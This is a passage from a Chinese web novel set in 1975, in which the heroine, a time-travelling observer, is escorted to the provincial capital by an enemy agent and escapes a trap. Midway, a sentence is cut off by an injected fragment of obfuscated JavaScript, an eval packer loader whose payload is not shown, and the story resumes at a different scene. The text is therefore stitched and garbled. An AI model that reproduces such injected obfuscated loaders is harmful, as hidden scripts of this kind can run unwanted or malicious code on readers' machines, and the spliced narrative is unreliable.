她摊开信纸,钢笔吸满墨水,开始写回信。不是给张教授,而是给郑卫国——用他笔记里提到的一种密写方法:用米汤写字,干了看不见,用碘酒一涂就会显色。 “郑卫国同志,”她写得很慢,每个字都斟酌,“情况危急。李明即‘捕猎者’,省城、县里同时发难,意图将我困死。树苗因干扰血饵装置陷入虚弱,传递信息:蕾拉被囚于省城某实验室,被黑色共生体操控。我必须前往省城营救,但县里审查无法回避。请指示。另,若方便,请照看红星公社养猪场,陈大牛、陈铁柱可信任。” 她停下笔,想了想,又加了一句:“若三日内无我消息,可启动紧急预案。林晚照,1975年12月30日晨。” 写完,她等字迹干透,然后将信纸折叠,塞进一个普通信封。信封上写的是省农科院张教授的地址,但收信人姓名处,她用极细的笔尖写了三个几乎看不见的点——这是郑卫国笔记里约定的暗号,表示“密信,需特殊方法查看”。 “晓芬,”她把信封递给王晓芬,“这封信,你亲自去公社邮局寄,加急。邮票钱我这里有。”她掏出几张毛票和一张邮票。 王晓芬接过信封,握得很紧:“晚照,你……” “别担心。”林晚照拍拍她的手,“按我说的做。寄完信你就回知青点,这几天别乱跑,等我消息。” “可是——” “没有可是。”林晚照的语气温柔但坚定,“晓芬,你信我吗?” 王晓芬用力点头,眼泪掉下来:“我信!” “那就按我说的做。” 送走王晓芬,林晚照开始收拾去县里的行李。棉袄、换洗衣裳、毛巾、牙刷、牙膏,还有一小包干粮——玉米饼和炒黄豆,用油纸包着。她收拾得很仔细,像真的要出远门。 陈铁柱站在门口看着她,脸色越来越沉。 “晚照,”他终于忍不住,“你不能就这么去。县里那些人,我知道他们啥德行。进去了,黑的也能说成白的。” “我知道。”林晚照把行李打包好,用绳子捆紧,“所以我不能让他们‘审’太久。” “你有办法?” “有。”林晚照抬头看他,“但需要你帮忙。” “你说!” 林晚照走到窗边,看了看外面。院子里没人,只有几只鸡在雪地里刨食。她压低声音:“铁柱哥,我走之后,你去找王书记,跟他说三件事。” “第一,养猪场的一切工作照常进行。墙已经补好了,按计划准备进猪崽。如果资金真冻结了,先用生产队的备用金垫上,我回来就还。” “第二,如果县里有人来问我的事,除了养猪场的正常工作,其他一概说‘不知道’。特别是矿井那天的事,就说我迷路了,你找到我时我已经出来了。” “第三,”她顿了顿,声音更轻,“如果三天后我还没回来,也没消息,你就去找一个人。” “谁?” “郑卫国。”林晚照说,“去县招待所203房间找他。如果不在,就留个口信给前台,说‘红星公社的猪病了,请他来看看’。” 陈铁柱把这些记在心里,重重点头:“我记住了。” 林晚照背起行李,走到门口。晨光完全升起来了,照在雪地上,反射出刺眼的白光。她眯起眼睛,看向养猪场的方向——墙已经补好了,红泥干成了暗褐色,像一道愈合中的伤疤。 “铁柱哥,”她最后说,“谢谢你。” 陈铁柱张了张嘴,想说什么,但最后只是用力拍了拍她的肩膀:“一定回来。” 林晚照点头,转身走出院子。 去公社的路上,雪又开始下了。细密的雪花落在她的棉袄上,很快化成一粒粒水珠。她走得不快,脑子却在高速运转。 省城必须去。不仅因为蕾拉,也因为资金冻结是掐死养猪场最直接的手段。张教授让她去解释,这是个机会——在官方程序内接触省城的机会。 但县里的审查是个坎。她不能硬抗,也不能完全服从。需要一种……既配合又保留主动权的方式。 到了公社,文书小赵已经在等她了。看见她来,小赵松了口气,又有些尴尬:“林同志,车准备好了。王书记他……他去县里开会了,让我转告你,一切小心。” 林晚照明白。王书记在避嫌,也在用他的方式保护她——如果他在场,就必须以公社书记的身份“配合调查”,反而不好说话。 “谢谢赵文书。”她上了那辆绿色吉普车。 开车的是个陌生面孔,三十多岁,脸很冷,全程没说话。车开得很快,在积雪的路上有些打滑,但他技术很好,稳稳控制着方向。 林晚照坐在后座,看着窗外飞快倒退的田野和村庄。雪越下越大,天地间一片苍茫。她握紧了口袋里的紧急通讯器——那个郑卫国给她的、只能用一次的小盒子。 三个小时车程,她一言不发。脑子里反复盘算各种可能和对策。 到达县革委会时,已经上午十点了。院子里的雪扫得干干净净,露出青灰色的水泥地。主楼是栋三层苏式建筑,红砖墙,窗户很高,看起来肃穆而冰冷。 司机领着她上二楼,在一间挂着“调查组办公室”牌子的门前停下,敲了敲门。 “进来。” 是李明的声音。 林晚照推门进去。办公室不大,摆着两张办公桌,几把椅子。李明坐在靠窗的位置,正在看文件。看见她,他放下文件,露出那种标准的微笑。 “林同志来了?请坐。” 林晚照在对面坐下,把行李放在脚边。 “路上辛苦了。”李明起身倒了杯热水,推过来,“喝点热的,暖和暖和。” “谢谢李记者。”林晚照接过杯子,没喝,“不知道调查组找我,具体是什么事?” “还是关于养猪场项目的一些疑问。”李明坐回座位,翻开一个文件夹,“不过这次,不止是资金问题。我们接到群众反映,说你在项目执行过程中,存在‘封建迷信’行为。” 封建迷信? 林晚照心里一沉。这个帽子比经济问题更毒——经济问题可以查账可以解释,封建迷信是思想问题,是立场问题。 “我不明白。”她说。 “有人看见,”李明慢慢说,“你在养猪场墙上画符,还用红土和泥,说能‘辟邪’。有这回事吗?” 林晚照想起昨天补墙的场景。当时围观的人不少,有人往那方面想也不奇怪。但李明这么快就知道,还当成“证据”…… “那是补墙的方法。”她平静地说,“红土粘性大,干了结实。冬天砌墙容易裂,用红土泥浆填补是常见做法。至于‘画符’——李记者,我补墙时用的木片,画出来的是泥印子,不是符。” “是吗?”李明从文件夹里抽出一张照片,推过来。 照片是昨天补墙时拍的,角度很刁钻,只拍了她用木片糊泥浆的局部,泥浆在墙上的痕迹确实有些像扭曲的符号。拍照的人很懂,光线、角度都刻意营造出一种诡异感。 “这是谁拍的?”林晚照问。 “群众提供的。”李明说,“林同志,现在提倡科学,反对封建迷信。你这个行为,影响很不好。” 林晚照看着那张照片,忽然笑了。 “李记者,”她抬起头,“您既然是省报的记者,应该知道‘农业学大寨’吧?” 李明眉头微皱:“当然。” “大寨人在改造虎头山时,用过很多土办法。”林晚照不紧不慢地说,“比如用红胶泥加固梯田,比如用石灰改良酸性土壤。这些办法是劳动人民在实践中总结出来的,是科学的、实用的。我用红土补墙,也是同样的道理——这是实践经验,不是封建迷信。” 她顿了顿,看着李明:“如果您觉得这是封建迷信,那是不是说,大寨人的经验也是封建迷信?‘农业学大寨’的方针错了?” 这话很重。李明脸上的笑容僵了一下。 “林同志,你不要偷换概念。” “我没有。”林晚照摇头,“我只是在说事实。李记者,您如果真想调查,应该去养猪场看看,看看墙补得怎么样,看看猪舍建得怎么样,看看乡亲们对这个项目的评价。而不是在这里,凭一张角度可疑的照片,给我扣帽子。” 办公室里安静下来。窗外的雪还在下,无声无息。 李明盯着她看了很久,最后合上文件夹。 “林同志说得有道理。”他的语气恢复了那种公事公办的温和,“这样吧,你先在招待所住下,配合我们完成一些书面材料的整理。调查需要时间,也需要更全面的证据。” 从“隔离审查”变成了“配合整理材料”。退了一步,但仍是控制。 “住多久?”林晚照问。 “看进度。”李明站起来,“我让人带你去招待所。这段时间,请不要离开县城,随时配合调查。” 林晚照也站起来:“李记者,我有个请求。” “你说。” “我想去一趟省城。”林晚照直视他的眼睛,“养猪场的资金被冻结了,我需要去省农科院解释情况。这是项目生死攸关的事,不能耽误。” 李明笑了:“巧了,我明天也要回省城。林同志如果愿意,可以跟我一起走。路上我们还能继续交流项目的情况。” 这是监视,也是陷阱。但林晚照没有选择。 “好。”她说,“谢谢李记者。” “不客气。”李明走到门口,叫来一个工作人员,“带林同志去招待所,安排个干净房间。” 工作人员是个年轻姑娘,扎着两根麻花辫,看起来有些紧张。她领着林晚照下楼,出了主楼,往后面的招待所走。 雪下得更大了。林晚照抬起头,看着灰白的天空。雪花落 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林晚照盯着那三个光点。它们闪烁了三下,然后消失了。银镯恢复了正常。 他知道了。知道她来了县里,知道她被李明控制。 那么,他会怎么做? 林晚照坐在床边,从行李里拿出干粮,慢慢吃着。玉米饼很干,炒黄豆很硬,但她吃得很认真。她需要体力,需要清醒的头脑。 下午,她按照要求去调查组办公室“整理材料”。其实就是坐在那里,回答一些已经问过很多遍的问题,写一些情况说明。李明大部分时间不在,只有一个年轻干事陪着。 傍晚,她回到招待所。晚饭是工作人员送来的,白菜炖粉条,两个馒头。她吃完,洗漱,然后躺在床上。 意识沉入空间。 树苗还在沉睡,但状态比早上好些了。玉白色的树干有了光泽,枝叶虽然低垂,但不再干枯。她走近,伸手轻轻触碰树干。 一股微弱的暖流传来,像无意识的回应。 “好好休息。”她用意识说,“明天,我们去救‘母亲’。” 树苗的枝叶轻轻晃了晃。 退出空间,林晚照睁着眼睛看着天花板。房间里没开灯,只有窗外雪地的反光,在墙上投出模糊的光影。 她在脑子里把明天的计划过了一遍又一遍。每个细节,每种可能,每种应对。 夜深了。 雪停了。 万籁俱寂中,她听见极轻微的敲门声。 不是工作人员那种礼貌的轻叩,而是有节奏的、三长两短的敲击。 林晚照猛地坐起来。 她走到门边,没开门,低声问:“谁?” 门外传来一个压低的声音:“郑卫国。” 林晚照的心跳加快。她犹豫了一下,轻轻拉开门栓。 门开了一条缝。郑卫国闪身进来,迅速关上门。他没穿中山装,而是换了件深蓝色的工装棉袄,戴着棉帽,脸上还蒙了条围巾,只露出眼睛。 “你怎么进来的?”林晚照问。 “我有我的办法。”郑卫国摘下围巾,脸色严肃,“长话短说。李明明天带你回省城,是陷阱。他在省城布置好了,一旦你进入特定区域,就会触发捕捉程序。” “捕捉程序?” “专门针对观测员和共生体的能量陷阱。”郑卫国说,“你的树苗现在虚弱,更容易被控制。他想要活的共生体,也想通过你找到蕾拉——他不知道蕾拉的具体位置,但知道你们有联系。” “那我该怎么办?” “将计就计。”郑卫国从怀里掏出个小盒子,火柴盒大小,“这是我改造过的信号干扰器。你带在身上,进入省城后,每隔一小时按一次。它会扰乱‘捕猎者’的追踪信号,给你制造机会。” 林晚照接过盒子:“机会?” “去找张教授。”郑卫国说,“他是清白的,资金冻结是真有问题,但原因不在你,而在农科院内部有‘捕猎者’的人。张教授会帮你争取时间,也会帮你联系……我们在省城的援手。” “援手?” “一个你认识的人。”郑卫国没细说,“记住,省城比红星公社复杂得多。‘捕猎者’、‘守夜人’、还有别的势力,都盯着那里。你每一步都要小心。” 他顿了顿,看着林晚照:“还有,树苗如果醒了,告诉它——蕾拉在‘第七实验室’,坐标我会用信号发到你的银镯上。但那里防守严密,必须等时机。” “什么时机?” “李明抓捕你的时候。”郑卫国说,“那时‘捕猎者’的注意力会集中在你身上,实验室的防守会出现短暂的空档。那是唯一的机会。” 用自己当诱饵。 林晚照沉默了。 “你可以拒绝。”郑卫国轻声说,“留在县里,我帮你周旋,也许能保住养猪场。但蕾拉……” “我去。”林晚照打断他。 郑卫国看着她,眼神复杂:“为什么?你和她素未谋面。” “因为她帮过我。”林晚照说,“也因为树苗叫她‘母亲’。而且……”她抬起头,“我不想一辈子躲着。如果‘捕猎者’不除,我永远不得安宁。” 郑卫国点点头,重新蒙上围巾:“明天路上,我会在暗处跟着。但进入省城后,我就帮不了你了。一切靠你自己。” 他走到门边,又回头:“林晚照,保重。” 门轻轻关上。 房间里恢复了寂静。 林晚照站在黑暗中,手里握着那个信号干扰器,冰凉的金属外壳硌着掌心。 窗外,月亮从云层后露出来,清冷的光照进房间,在地板上投出窗格的影子。 明天。 去省城。 进陷阱。 救蕾拉。 她深吸一口气,躺回床上。 闭上眼睛前,她最后看了一眼手腕上的银镯。 倒计时还在:715天。 时间不多了。 但足够做该做的事。 39.绿皮车厢里的暗流 1975年12月31日,清晨六点二十分。 林晚照站在县火车站月台上,手里攥着那张硬纸板车票,票面上用蓝色油墨印着:红星县—省城,硬座,14车厢27号。冬日的晨光稀薄得可怜,月台上的水银灯还没熄,惨白的光混着晨曦,把每个人的脸都照得青白。 李明在她身边,穿着呢子大衣,围巾依旧裹得严实。他手里提着个黑色人造革公文包,包边角的金属扣在灯光下泛着冷光。他不说话,只是偶尔抬手看表——那是一块上海牌手表,表盘在袖口若隐若现。 “还有八分钟。”他终于开口,声音里听不出情绪。 林晚照点点头。她的行李很简单,就一个帆布挎包,里面装着换洗衣物和干粮。郑卫国给的信号干扰器被她缝在了棉袄内侧的口袋里,贴着胸口。银镯藏在袖子里,手腕上只露出一截磨白的棉袄袖口。 月台上人不少,都是赶早班车的。有背着麻袋的农民,有拎着网兜的干部模样的人,还有几个穿着军装的小战士。空气里混杂着煤烟味、人体气味和廉价烟草的味道。远处传来蒸汽机车的汽笛声,沉闷,悠长,像某种巨兽的叹息。 火车进站了。绿皮车厢,窗户上结着霜花,车头上“东方红”三个红色大字在晨光里格外醒目。车厢门打开,人群开始拥挤。 李明让林晚照走在前面。她挤上车,找到14车厢。硬座车厢里已经坐了七成人,长条座椅上铺着深蓝色的人造革,有些地方已经开裂,露出里面发黄的海绵。行李架上塞满了包裹、麻袋、藤条箱。 27号是靠窗的位置。林晚照坐下,把挎包抱在怀里。李明坐在她旁边,靠过道。他放下公文包,从里面拿出份报纸——是《人民日报》,头版头条是“抓革命,促生产”。 火车缓缓开动。轮轨碰撞的哐当声有节奏地响起,车窗外的月台开始后退,越来越快。林晚照看着窗外,看着那些在晨光中迅速变小的房屋、树木、田野。 这是她来这个时代后,第一次离开红星公社所在的县域。 手腕上的银镯传来轻微的震动。不是预警,更像是一种……共鸣。随着火车远离红星县,震动在减弱,仿佛在告别。 树苗在她意识里苏醒了些。不再是沉睡的沉寂,而是一种半梦半醒的状态。它传递来模糊的意念:移动……快……方向…… “我们在去省城的火车上。”林晚照用意识回应,“去救‘母亲’。” 树苗的意念波动了一下,传递来复杂的情绪:期待,担忧,还有一丝林晚照读不懂的……悲伤? 母亲……受苦……黑色……缠绕…… 又是那个画面:黑色共生体,玻璃舱,蕾拉苍白的脸。 林晚照闭上眼睛,深吸一口气。车厢里的空气污浊,混合着煤烟、汗味和不知谁带的咸菜味。但她需要这真实的气味,需要这嘈杂的环境,来提醒自己——这一切不是梦。 “林同志晕车?”李明的声音在旁边响起。 林晚照睁开眼:“有点。” “喝点水。”李明从公文包里拿出个军用水壶,拧开盖子递过来。水壶是铝制的,壶身上磕碰的痕迹不少,但擦得很干净。 林晚照犹豫了一下,接过水壶,抿了一小口。水是温的,带着一股淡淡的铁锈味。 “谢谢。” “不客气。”李明收回水壶,盖好盖子,“从红星县到省城,要六个小时。你可以休息会儿。” “睡不着。” “也是。”李明笑了笑,重新拿起报纸,“那聊聊天?说说你的养猪场,以后有什么打算?” 他开始问一些看似随意的问题:养猪场的规模规划、饲料来源、防疫措施、销售渠道。问题都很专业,完全符合一个“农业记者”的身份。 林晚照谨慎地回答。每个答案都控制在公开信息范围内,不透露任何可能被抓住把柄的细节。她的语气平静,但脑子里的弦绷得很紧——李明在试探,她在防守。 这种对话持续了一个多小时。火车穿过田野,穿过村庄,偶尔经过小站也不停,只是鸣着汽笛呼啸而过。窗外的景色从平原逐渐变成丘陵,雪还没化,满眼都是单调的白。 “林同志,”李明忽然换了个话题,“你对‘未来’怎么看?” 林晚照心里一紧:“未来?” “对。”李明放下报纸,转向她,“不是个人的未来,是国家的未来。你觉得,五年后,十年后,中国会是什么样子?” 这个问题太敏感了。1975年,□□还没结束,“未来”是个充满不确定性的词。 “我相信在党的领导下,国家会越来越好。”林晚照给出标准答案。 “具体呢?”李明追问,“农村会怎么发展?农民的生活会怎么改善?你搞科学养猪,不就是想看到这些变化吗?” 他在引导。林晚照警惕起来。 “我相信科学种田、科学养殖是大方向。”她说,“就像大寨人改造虎头山一样,靠劳动,靠智慧,能让土地产出更多,让日子过得更好。” “很朴素的信念。”李明点点头,但话锋一转,“但有时候,光靠劳动和智慧不够。需要……更先进的东西。” 他盯着林晚照的眼睛:“比如,一些超越时代的知识,一些不应该出现在这个时间点的技术。” 车厢里的空气似乎凝滞了。 哐当,哐当,轮轨的撞击声成了唯一的背景音。旁边座位的老大爷在打鼾,对面的一对年轻夫妇在低声说话,售货员推着小车经过:“香烟瓜子矿泉水——” 但林晚照只听见自己的心跳声。 “我不明白您的意思。”她最终说。 李明笑了,那笑容很深,深不见底。 “你会明白的。”他重新拿起报纸,“到了省城,你会看到很多东西。有些东西……会颠覆你的认知。” 他不再说话,开始认真看报。仿佛刚才那段危险的对话从未发生。 林晚照转过头,继续看向窗外。丘陵越来越多,火车开始爬坡,速度慢了下来。窗外的雪景向后流动,像一卷无休止的胶片。 她把手伸进棉袄内侧,轻轻碰了碰那个信号干扰器。金属外壳冰凉。 郑卫国说,每隔一小时按一次。 她看了看手表——李明送她的那块上海牌,表盘上的红色秒针平稳地走着。早上七点半,该按第一次了。 她假装调整坐姿,侧过身,用身体挡住李明的视线,手指在棉袄内袋里摸索到那个小盒子,找到一个微微凸起的按钮。 按下去。 没有声音,没有震动,什么都没有。但她感觉到,胸口的银镯轻微地热了一下。 干扰开始了。 李明还在看报,似乎毫无察觉。 火车继续前行。时间一分一秒地过去。车厢里有人开始吃早饭,掏出玉米饼、煮鸡蛋、咸菜疙瘩。气味更杂了。 林晚照也拿出干粮——还是玉米饼和炒黄豆。她小口吃着,眼睛时不时瞟向窗外,观察地形变化,也在观察……有没有人跟踪。 郑卫国说会在暗处跟着。但火车上这么多人,他会以什么身份出现?乘客?乘务员?还是根本不在车上? 八点半,第二次按干扰器。 这次,她注意到李明的动作微微顿了一下。他翻报纸的手指停住了,大概半秒钟,然后又继续。 他察觉了?还是巧合? 九点半,第三次。 这次李明抬起头,看了看车厢顶部的灯,又看了看窗外。他的眉头微不可察地皱了一下。 “这车有点慢。”他忽然说,“按理说应该过清水河大桥了。” 林晚照看向窗外。确实,火车还在丘陵地带穿行,没看到什么大桥。 “可能晚点了。”她说。 “可能吧。”李明重新低下头。 但林晚照感觉到,他的注意力已经不在报纸上了。他在观察什么,或者说,在感知什么。 信号干扰起作用了。干扰了“捕猎者”的追踪系统,也让李明开始警觉。 十点半,第四次按干扰器。 这次,李明直接站了起来。 “我去趟厕所。”他说,拿起公文包。 他穿过车厢,朝着连接处走去。林晚照看着他的背影,心跳加快。他去检查?去联系同伙? 她看向窗外。火车正在通过一个隧道,黑暗瞬间吞没了车厢。只有顶灯昏黄的光,照着一张张疲惫或茫然的脸。 隧道很长。哐当声在密闭空间里被放大,震耳欲聋。 黑暗中,林晚照感觉到手腕上的银镯突然剧烈震动! 不是预警,是某种强烈的共鸣——像在呼应另一个同类的存在。 她猛地看向车厢另一头。在隧道出口的光线即将照进来的刹那,她看见,在车厢连接处的阴影里,站着一个穿深蓝色工装的身影。 只一眼,光就进来了。 身影消失了。 是郑卫国。他真在车上。 隧道通过,阳光重新洒进车厢。李明从连接处回来,脸色如常。 “快到了。”他坐下说,“还有不到一小时。” 林晚照点点头。她的手心全是汗。 十一点半,第五次按干扰器。 这次,李明没有任何反应。他只是闭着眼睛,像是在养神。但林晚照注意到,他搭在公文包上的手指,有节奏地轻轻敲击着。 三长,两短,三长。 某种信号? 火车开始减速。窗外的房屋越来越密集,出现了工厂的烟囱,出现了成片的红砖楼房。省城到了。 广播响起:“各位旅客,省城站即将到达,请收拾好行李物品,准备下车……” 车厢里骚动起来。人们开始从行李架上拿东西,挤向过道。林晚照也站起来,背上挎包。 李明睁开眼,站起身:“跟着我。” 他们随着人流下车。月台上人山人海,比红星县站拥挤十倍。各种口音的吆喝声、行李拖拽声、小孩哭闹声混成一片。空气里是更浓的煤烟味,还有城市特有的、混杂的工业气息。 李明走在前面,步伐很快。林晚照紧跟着,眼睛不断扫视四周——她在找郑卫国,也在找任何可能的危险。 出了出站口,眼前是省城火车站的广场。广场很大,地面是水泥的,有些地方开裂了。正中立着个巨大的毛主席塑像,塑像基座上刷着红色标语:“将无产阶级□□进行到底”。 广场上停着几辆公交车,还有人力三轮车在招揽生意。远处是成片的楼房,不高,大多四五层,外墙刷着黄色或灰色的涂料。 “这边。”李明走向广场东侧,那里停着辆黑色轿车——是伏尔加,这个年代的高档车。 司机是个年轻男人,穿着中山装,看见李明,下车打开后门。 李明示意林晚照上车。 她犹豫了一秒,还是坐了进去。车内很干净,座椅是黑色皮革的,有股淡淡的机油味。李明坐在她旁边,关上车门。 车开动了,驶出广场,汇入街道。 省城的街道比县城宽,但车不多,主要是公交车、卡车和自行车。行人穿着蓝、灰、绿三种主色的衣服,行色匆匆。街边的商店挂着国营的招牌,橱窗里的商品摆得整整齐齐,但种类不多。 林晚照看着窗外。这是1975年的省城,和她记忆中的城市完全不同——没有高楼大厦,没有霓虹灯,没有广告牌。一切都很朴素,甚至有些破旧,但有一种蓬勃的、向上的生气。 车开了二十多分钟,驶入一条相对安静的街道。两边是俄式风格的建筑,三层或四层,拱形窗户,墙皮有些剥落。最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她拿出信号干扰器,准备按第六次——按照郑卫国的说法,省城内的干扰需要更频繁。 但手指还没按下去,手腕上的银镯突然烫得惊人! 同时,树苗在她意识里剧烈震动,传递来前所未有的急切警告: 危险!这里!到处都是! 林晚照猛地站起来。 她看向房间四周。墙壁,天花板,地板,家具…… 看起来一切正常。 但她能感觉到——银镯的灼热,树苗的恐惧,都在告诉她:这个房间,这个招待所,甚至整个农科院区域,都布满了某种她看不见的“网”。 专门针对观测员和共生体的能量监测网。 李明带她来这里,不是偶然。 她走到门边,试着拧了拧门把手——锁着。不是从里面锁的,是从外面。 她被软禁了。 林晚照背靠门板,深吸一口气。 胸口,信号干扰器贴着心脏。 窗外,街道对面某扇窗户后,望远镜的反光一闪而过。 她闭上眼睛,意识沉入空间。 树苗已经彻底清醒了。它长高了许多,现在到她肩膀了。玉白色的树干里,银色脉络像呼吸一样明暗交替。枝叶繁茂,每一片叶子都晶莹剔透。 但此刻,这些枝叶都在颤抖。 网……捕捉……母亲的气息……很近…… 树苗传递来混乱的信息。它感知到了蕾拉的存在,就在附近,但状态很糟糕。同时,它也感知到了那张覆盖整个区域的“网”。 “能避开吗?”林晚照问。 难……网很密……但我可以……隐藏…… 树苗开始收敛能量。枝叶上的银光暗淡下去,树干里的脉络也放缓了流动。它把自己伪装成一棵普通的、没有生命力的“植物”。 同时,它伸展出一根极细的根须,透过空间边界,透过林晚照的身体,悄悄探入现实世界。 这根根须不是去探查,而是去……连接。 连接什么? 林晚照很快明白了。 根须探出窗外,在空气中延伸,最后触碰到街道对面某扇窗户——郑卫国所在的窗户。 一瞬间,林晚照“看到”了郑卫国那边的画面:一个简陋的房间,桌上摆着些仪器,郑卫国正盯着一个显示屏,屏幕上跳动着复杂的波形。 他也感知到了“网”。 根须传递过去一个意念:安全? 郑卫国似乎愣了一下,然后看向窗户方向。他不能直接回应,但他抬起手,在桌上敲击:三短,三长,三短。 摩斯密码:SOS。 危险,极度危险。 林晚照收回根须。树苗传递来疲惫的意念:只能坚持……半小时…… 半小时后,它的隐藏就会失效。 而李明一点钟就会来。 林晚照睁开眼睛,看向手表:十一点五十分。 还有七十分钟。 她走到桌边,拉开抽屉。里面空荡荡,只有一本《毛主席语录》。她拿起来,翻开。 扉页上,有人用铅笔写了一行小字: 观察者终成猎物之时,方见真网。 字迹很淡,像是很久以前写的。 林晚照盯着那句话,手指微微收紧。 观察者。猎物。网。 她忽然明白了李明的真正目的。 他不仅要抓她和树苗,还要用她们做诱饵,引出更多的“观察者”——比如郑卫国,比如蕾拉,比如可能潜伏在省城的其他观测员。 这是一场狩猎。 而她,是摆在陷阱中央的饵。 敲门声响起。 不是一点钟。 是现在。 门外传来李明温和的声音:“林同志,计划有变。张教授现在就要见你。” 林晚照合上《毛主席语录》,放回抽屉。 她走到门边,手按在门把手上。 胸口,信号干扰器贴着心脏,最后一次使用机会。 窗外,树苗的隐藏倒计时:二十五分钟。 她深吸一口气,拧开门。 40. 镯心为饵 李明那句“校准过程”像一瓢冰水,从林晚照头顶浇下。她站在原地,能清晰感觉到手腕上银镯的温度——那已经不是温热,而是灼烫,烫得皮肤发疼,仿佛有什么东西正在从镯子内部苏醒、膨胀,要挣脱金属的束缚。 镯子表面的龙凤纹路此刻流动着不祥的暗红色光,不再是温润的银白。光线在走廊昏暗的光线下勾勒出诡异的图案,映在李明的镜片上,反射出两点冰冷的红。 “很意外?”李明微微侧头,嘴角噙着一丝玩味的笑意,“外婆的遗物?很动人的故事。可惜,观测员074号,你从来就没有什么‘外婆’。你的身份,你的记忆,甚至你对手腕上这个‘信标’的认知,都是‘灯塔’基础协议植入的。” 每一个字都像锤子,敲碎林晚照过去七个月构筑的认知根基。她下意识地握紧手腕,仿佛这样就能压制住镯子的异动,也压住心底翻涌的寒意和……一丝早有预感的恐慌。 是的,她曾有过怀疑。为什么恰好是这枚镯子?为什么它偏偏能开启空间?为什么它似乎总能与某些事物产生感应? “它到底是什么?”她问,声音有些沙哑。 “‘锚点’的便携式激发器,也是最高权限的定位信标。”李明好整以暇地解释,像在课堂上剖析一个精妙的实验设计,“每一位观测员在投放前,都会被植入这样的‘锚点’。它确保‘灯塔’随时掌握你们的位置和状态,更重要的是,当观测员失控或任务失败时——比如你,与未知共生体结合,并引发时空裂缝——‘锚点’可以远程激活,成为回收或清除程序的一部分。” 回收。清除。 林晚照想起蕾拉在纯白房间里的警告,想起郑卫国笔记里关于“清扫程序”的描述。原来最大的陷阱,一直就在她身上,在她自以为最可靠的依仗上。 “你现在激活它,是想‘回收’我?”她强迫自己冷静,大脑飞速运转。树苗的隐藏倒计时在意识里滴答作响,郑卫国的SOS警告犹在眼前。绝境之中,反而激起了她骨子里的狠劲。 “不完全是。”李明摇了摇头,“单纯的回收或清除,无法获取共生体的完整样本。我们需要你,‘配合’我们完成对那个小东西的全面解析。当然,还有你身上可能携带的、关于蕾拉位置的信息。”他向前走了一步,走廊的灯光将他影子拉长,笼罩住林晚照,“至于你本人,如果表现良好,或许能在实验室获得一个……相对体面的位置。” 实验室。标本。体面的位置。 林晚照几乎能闻到那冰冷福尔马林的气味。不,她绝不要那样的结局。 “张教授呢?”她忽然问,“你说他要见我,是真的,还是你控制了他?” 李明似乎有些意外她会在这时候问这个,但还是回答了:“张振华教授对科学的执着令人钦佩,可惜过于天真。他确实为你争取过,试图查明资金冻结的真相,也因此触及了一些他不该知道的东西。现在,他‘病’了,需要静养。”他特意加重了“病”字。 张教授出事了。又一个可能帮助她的人陷入危险。 没有时间了。 林晚照垂下眼帘,看着手腕上红光越来越盛的银镯。树苗在她意识里传递来最后的倒计时:十分钟。同时,还有一丝微弱但清晰的指向——来自农科院主楼的地下,来自蕾拉的方向。 她突然抬起头,对李明露出了一个极淡的、甚至有些认命的笑容。 “我明白了。”她说,声音里带着疲惫,“我跟你走。但我有个条件。” “哦?”李明挑眉。 “在你们……‘处理’我之前,让我见蕾拉一面。”林晚照直视他的眼睛,“树苗叫她‘母亲’,它最后的愿望,是见她。就当是……满足一个实验体临终的请求。” 她将自己的姿态放得很低,语气里甚至带上一丝恳求。这是示弱,是麻痹。 李明审视着她,镜片后的眼睛锐利如刀,仿佛在判断这突如其来的顺从是真是假。片刻后,他笑了笑:“可以。正好,也需要‘母亲’的刺激,来观察共生体的完整反应模式。”他侧身,做了个“请”的手势,“这边。让我们结束这场猫鼠游戏。” 他转身走在前面,似乎笃定林晚照已无力反抗。 就在他转身的刹那,林晚照的手指迅速探入棉袄内侧口袋,按下了信号干扰器上那个从未使用过的、郑卫国特别说明的“超载按钮”。 没有声音,没有光。但胸口处传来一阵强烈的麻痹感,瞬间传遍全身,让她几乎站立不稳。紧接着,手腕上的银镯发出一声极轻微的“嗡”鸣,原本规律流动的暗红色光骤然紊乱,像是信号受到强烈干扰的电视画面,闪烁不定。 李明猛地回头! 林晚照强忍着麻痹感带来的眩晕,在他惊疑的目光中,抬起手腕,让他看清那紊乱的光芒。 “看来,‘校准’过程不太顺利。”她咬着牙,脸色苍白,但眼神亮得惊人,“李记者,你的‘锚点’……好像出故障了。” 李明的脸色第一次变了。他迅速从大衣口袋掏出一个巴掌大的黑色仪器,屏幕上的波形图疯狂跳动,发出刺耳的警报声。 “你做了什么?!”他的声音失去了从容。 “只是……一点小小的干扰。”林晚照感觉麻痹感在消退,取而代之的是一种虚脱,但思维异常清晰。郑卫国的干扰器超载,虽然可能暴露他的位置,但成功扰乱了“锚点”的激活信号,为自己争取到了宝贵的时间窗口——也许只有几分钟。 她不再犹豫,用尽全身力气,朝着走廊另一端的楼梯口跑去!不是下楼,而是上楼! “拦住她!”李明厉声喝道,同时对着黑色仪器快速下令。 走廊尽头,两个穿着灰色工装、看似普通的工作人员突然从角落闪出,动作迅捷地扑来。但林晚照早已观察过地形,在接近楼梯口的瞬间,她猛地将旁边一个闲置的金属垃圾桶踢倒,杂物滚了一地,略微阻挡了追兵。 她冲上楼梯,脚步有些踉跄。三楼的布局和二楼类似,但更安静,似乎这一层客房较少。她随便冲向一扇开着的房门——那是一间清洁工具间,里面堆着拖把水桶。 她闪身进去,反手关上门,却不上锁。然后在门后狭窄的空间里蹲下,屏住呼吸,同时集中全部意识沉入空间。 树苗的状态很糟。强行隐藏加上林晚照身体受到的冲击,让它枝叶萎靡,银光几乎完全熄灭。但它的意识是清醒的,甚至更加敏锐。 他们……上来了……三个……有武器…… 树苗传递来模糊的感知。 林晚照没有慌。她从挎包底部摸出一个小纸包——那是她在红星公社时,用空间里几种具有轻微麻痹和致幻效果的草药混合研磨成的粉末,原本是为了防备山里的野兽或极端情况,一直没舍得用。 她将粉末倒在手心,然后轻轻吹向门缝下方。 门外传来急促的脚步声,停在工具间门口。把手被拧动,门被推开一条缝。 就在这一瞬间,林晚照用尽力气,将手里剩余的粉末猛地朝门缝扬去! “咳!什么东西!”门外传来惊怒的咳嗽声。 她趁着外面混乱,从工具间另一侧堆放杂物的缝隙里挤了出去——那里有个不起眼的、通往通风管道的检修口,是她刚才进入时就留意到的。盖子有些锈,但她用力一推,便滑开了。 